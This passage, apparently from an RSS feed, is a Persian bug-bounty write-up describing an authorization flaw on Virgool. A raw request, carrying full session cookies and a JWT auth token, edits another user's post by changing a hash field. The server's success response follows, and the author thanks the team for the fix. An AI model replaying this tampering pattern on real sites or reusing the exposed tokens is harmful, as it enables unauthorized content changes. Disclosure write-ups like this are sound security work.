Cookie: PHPSESSID=8g3n4cpsnlgjdoi3jq3ftpjcqe; XSRF-TOKEN=eyJpdiI6InFZczd6VmduMzRka3Y5eVBZcVwvY3RnPT0iLCJ2YWx1ZSI6IlwvNUlCMlpLNG80Nm1TdHUzRlNZUXhlZjk1R2NSZHdmMURyXC8zaHdWbWg1S1FNVUlpUWhqc0ZxVlZWcnNMV0FkNSIsIm1hYyI6IjczOGYyMGUzMjkxODY2MTQ3ZmY5M2YzOWMxMDI3OGIzM2U2NDkyZTMxYTkwZGFmNWM0ODBmYTkxZGIxZGY1YjkifQ%3D%3D; vrgl_sess=eyJpdiI6Ik94VkV3MTlxSzF3bXJvR2gzNml3WVE9PSIsInZhbHVlIjoib2VQTTgzSERleXJXbHhnWDhjNlU5UnJ0XC9xYVVKYzhydVwvVDl3bEs0SENmNWFTZFwvY2ZkamE4ZnEzbm9yYmJXZyIsIm1hYyI6ImJjZTcyZTI4MmU4ZDk3OGM5MDFmYWI2MjgyNzQwNTM2NGYwNjY5OGU2M2QwNTM2ZThkMTk2ZjUzOWM3MWYxYzEifQ%3D%3D; rec=eyJpdiI6ImhKZCtHa1hMVHpiV2dvSERcLysrVk5nPT0iLCJ2YWx1ZSI6IlM0Tnh3RDdcL2VmZWgzeEhlNDVSNkpBPT0iLCJtYWMiOiJkYmVkMjY0ZDQ0NTYyOGY2NzBlNTMxMDAzZDIxNTgyMDIyZTEwYjMxOWM2NDk2MGI2YTcyOWM1YmU0MGU2ZjBiIn0%3D; _hp2_id.2248261963=%7B%22userId%22%3A%227281601450853186%22%2C%22pageviewId%22%3A%222141144530700276%22%2C%22sessionId%22%3A%221736030237244822%22%2C%22identity%22%3Anull%2C%22trackerVersion%22%3A%224.0%22%7D; auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvdmlyZ29vbC5pb1wvYXBpXC92MS4yXC9sb2dpbiIsImlhdCI6MTU2MzE5MjAzOSwiZXhwIjoxNTg2ODQ0MDM5LCJuYmYiOjE1NjMxOTIwMzksImp0aSI6InhjYlZBdkVuUGhiNzJWbjAiLCJzdWIiOjI2OTg5LCJwcnYiOiI4N2UwYWYxZWY5ZmQxNTgxMmZkZWM5NzE1M2ExNGUwYjA0NzU0NmFhIn0; jwts=eyJpdiI6ImdFTGU5K0NUYWRjZnhTV1M1cjhvWmc9PSIsInZhbHVlIjoiNWhKeFROdFhpYUFLNmtIU3NZVVZoNWNTQVp1c2U5Sk5oREorY1JYNkJlVk10OEp6UlgrMmQ4ZldPeXFqbTBqRiIsIm1hYyI6IjgwMjU5ZDYxMTQ1MDk1MTRhOGMzYTBiMDA5NTA4NGM1YTI1OGUyZGQ1ZDdlOTA5ZGM0MDEwZjkzMDVjYmQwN2IifQ%3D%3D; uid=yttbeijzgh5z; _vcfg=%7B%22tpcs_c%22%3A49%7D; __cfduid=de6fe6ac80c6fe23e181108c89940a6871563192046; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; G38lFwkS5Dq=eyJpdiI6Ilh5bWRlODdUeVdTR0xBZUhkdEx0R0E9PSIsInZhbHVlIjoiOWt5dlVWOVwveXc4SzB2a1gyTDBiZm4xSU1aTnlINGVmcEZydkQ3dEF2Q2E2Y0Q5TjBnMFNoN2FUVXpVWFJXaXkiLCJtYWMiOiI4MWJkMWQ5Nzg1ZjFhNzMxYWQxNWQ1MGQyN2ZiYjJlMmI4MzVjNWM1MTY1ZDNkMWQxNGM5ZGUxZDE0NDAxZTI3In0%3D; _hp2_ses_props.2248261963=%7B%22r%22%3A%22https%3A%2F%2Fvirgool.io%2Fsearch%3Fq%3D%25D9%2588%25DB%258C%25D8%25B1%25DA%25AF%25D9%2588%25D9%2584%2B%25D8%25B3%25D8%25A7%25D9%2584%25D9%2587%2B%25D8%25B4%25D8%25AF%22%2C%22ts%22%3A1563219763200%2C%22d%22%3A%22virgool.io%22%2C%22h%22%3A%22%2F%40virgool_ir%22%7D

{&quot;post_id&quot;:&quot;&quot;,&quot;hash&quot;:&quot;guqjcef3i4qy&quot;,&quot;title&quot;:&quot;Pwn By 0xEhsan&quot;,&quot;body&quot;:&quot;&lt;p class=\&quot;md-block-unstyled\&quot;&gt;&lt;b&gt;This Post Is Pwn By 0xEhsan&lt;/b&gt;&lt;img src=&#039;https://files.virgool.io/upload/users/9091/posts/avykxkqiq7t0/aggkngdczbfd.png&#039;&gt; &lt;br&gt;Lorem Ipsum is simply dummy text of the printing and  typesetting industry. Lorem Ipsum has been the industry&#039;s standard  dummy text ever since the 1500s, when an unknown printer took a galley  of type and scrambled it to make a type specimen book. It has survived  not only five centuries, but also the leap into electronic typesetting,  remaining essentially unchanged. It was popularised in the 1960s with  the release of Letraset sheets containing Lorem Ipsum passages, and more  recently with desktop publishing software like Aldus PageMaker  including versions of Lorem Ipsum.&lt;/p&gt;&quot;,&quot;slug&quot;:&quot;test-guqjcef3i4qy&quot;,&quot;tag&quot;:&quot;&quot;,&quot;words_count&quot;:91,&quot;og_description&quot;:&quot;&quot;,&quot;primary_img&quot;:null}جواب:HTTP/1.1 200 OK
Server: nginx/1.15.9
Date: Fri, 12 Jul 2019 23:50:09 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 998
Set-Cookie: vrgl_sess=eyJpdiI6Ikt0SXc1ZE5JZTlkMEJMNURQVCtKOEE9PSIsInZhbHVlIjoiQ2lwS1JSeUd5REdoVFg5VzZVcklBcUd3blFibFkyc0lhWGRxQU9aYWRHbFpuTklyMEdSN3I5Wm9DeXlxbTR2VCIsIm1hYyI6IjgxZGYxYmMyYmI5ZWJmMjRiZDlmOWIzM2M5MTQ5YzZlODk5MTAwZDg5MmY4MTJiOGI4ZTRkOWFkZTZjMTAyOWUifQ%3D%3D; expires=Tue, 16-Jul-2019 20:12:29 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src &#039;self&#039; files.virgool.io blob:; connect-src &#039;self&#039; https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src &#039;self&#039; data: https://virgool.io;  img-src blob: data: https: &#039;self&#039; files.virgool.io https://www.google-analytics.com; object-src &#039;self&#039; virgool.io; media-src cdn.virgool.io; script-src &#039;self&#039; blob: https://virgool.io &#039;unsafe-eval&#039; &#039;unsafe-inline&#039; www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com  https: &#039;self&#039;; style-src &#039;unsafe-inline&#039; data: https: &#039;self&#039;; frame-src &#039;self&#039; cdn.iframe.ly https://cdn.iframe.ly  chromenull: https: webviewprogressproxy: ; worker-src blob: &#039;self&#039;; 
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 183

{&quot;success&quot;:&quot;\u067e\u0633\u062a \u0634\u0645\u0627 \u0628\u0627 \u0645\u0648\u0641\u0642\u06cc\u062a \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0634\u062f&quot;,&quot;post_slug&quot;:&quot;test-guqjcef3i4qy&quot;}و بــــــــــــوم!!!جواب درخواست success بود و حیرت زده شدم و این یعنی کنترلی روی ورودی hash نیست و پست مورد نظر من تغییر کرده ، پس وارد لینک پست شدم.نتیجه درست بود و پست مورد نظرم با موفقیت تغییر پیدا کرد ، در نتیجه من با استفاده از این آسیب پذیری می تونستم هر کدوم از پست های توی سایت ویرگول رو تغییر بدم.لینک ویدئو اثبات آسیب‌پذیری:https://www.youtube.com/watch?v=CIE00HbDF1cو در پایان هم یه تشکر ویژه از یاشار شاهین زاده عزیزم برای پیگیری این آسیب پذیری و همچنین برخورد حرفه ای و سرعت عمل تیم ویرگول در برطرف کردن این آسیب پذیری.</description>
                <category>0xEhsan</category>
                <author>0xEhsan</author>
                <pubDate>Wed, 24 Jul 2019 16:46:18 +0430</pubDate>
            </item>
            </channel>
</rss>